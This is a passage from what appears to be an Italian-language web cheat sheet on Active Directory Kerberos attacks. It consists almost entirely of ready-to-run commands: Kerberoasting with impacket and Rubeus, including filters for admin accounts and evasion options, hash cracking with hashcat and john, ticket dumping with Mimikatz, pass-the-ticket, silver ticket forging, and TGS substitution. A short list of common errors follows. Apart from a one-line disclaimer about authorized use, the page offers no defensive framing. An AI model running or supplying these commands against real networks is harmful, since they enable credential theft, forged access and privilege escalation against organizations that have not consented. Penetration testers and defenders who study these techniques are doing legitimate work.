impacket-GetUserSPNs corp.local/user \
  -hashes ':NTHASH' -dc-ip DC_IP \
  -request -outputfile hashes.txt

Ticket cache:
export KRB5CCNAME=user.ccache
impacket-GetUserSPNs corp.local/user \
  -k -no-pass -dc-ip DC_IP \
  -request -outputfile hashes.txt


=== KERBEROASTING CON RUBEUS ===

Tutti:
.\Rubeus.exe kerberoast /outfile:hashes.txt

Account specifico:
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.txt

Statistiche:
.\Rubeus.exe kerberoast /stats

Account privilegiati:
.\Rubeus.exe kerberoast \
  /ldapfilter:"admincount=1" \
  /outfile:admin_hashes.txt

Password vecchie:
.\Rubeus.exe kerberoast \
  /pwdsetbefore:01-01-2023 \
  /outfile:old_hashes.txt

Richieste controllate:
.\Rubeus.exe kerberoast \
  /delay:5000 /jitter:30 \
  /outfile:hashes.txt

RC4 su account non AES:
.\Rubeus.exe kerberoast \
  /rc4opsec \
  /outfile:rc4_hashes.txt

AES:
.\Rubeus.exe kerberoast \
  /aes \
  /outfile:aes_hashes.txt


=== CRACK ===

RC4:
hashcat -m 13100 hashes.txt rockyou.txt

AES128:
hashcat -m 19600 hashes.txt rockyou.txt

AES256:
hashcat -m 19700 hashes.txt rockyou.txt

John:
john --format=krb5tgs \
  --wordlist=rockyou.txt \
  hashes.txt


=== DUMP SERVICE TICKET ===

Rubeus:
.\Rubeus.exe dump /service:MSSQLSvc /nowrap

Mimikatz:
sekurlsa::tickets /export

Conversione:
impacket-ticketConverter ticket.kirbi ticket.ccache


=== PASS-THE-TICKET ===

Windows:
.\Rubeus.exe ptt /ticket:service_ticket.kirbi

Linux:
export KRB5CCNAME=service_ticket.ccache
impacket-smbclient -k -no-pass \
  corp.local/User@server.corp.local


=== SILVER TICKET ===

Impacket RC4:
impacket-ticketer \
  -nthash SERVICE_HASH \
  -domain-sid DOMAIN_SID \
  -domain corp.local \
  -spn cifs/server.corp.local \
  Administrator

Impacket AES:
impacket-ticketer \
  -aesKey AES256_KEY \
  -domain-sid DOMAIN_SID \
  -domain corp.local \
  -spn MSSQLSvc/sql01.corp.local:1433 \
  Administrator

Uso:
export KRB5CCNAME=Administrator.ccache


=== TGS SUBSTITUTION ===

.\Rubeus.exe tgssub \
  /ticket:original.kirbi \
  /altservice:cifs/server.corp.local \
  /ptt


=== ERRORI COMUNI ===

KDC_ERR_S_PRINCIPAL_UNKNOWN:
SPN inesistente o scritto male

KDC_ERR_PRINCIPAL_NOT_UNIQUE:
SPN duplicato

KRB_AP_ERR_MODIFIED:
chiave errata o SPN registrato sull'account sbagliato

Clock skew:
sincronizza l'orario con il DC

Accesso tramite IP:
usa FQDN coerente con lo SPN

RC4 rifiutato:
usa AES e verifica msDS-SupportedEncryptionTypes

Related Articles #


Technical References #

All commands and techniques illustrated must be used exclusively in laboratories, on your own infrastructure or in environments for which you have explicit authorization.

#TGS Kerberos #Kerberoasting #SilverTicket #Service Ticket #Service Principal Name

leave a message

I'm not a robot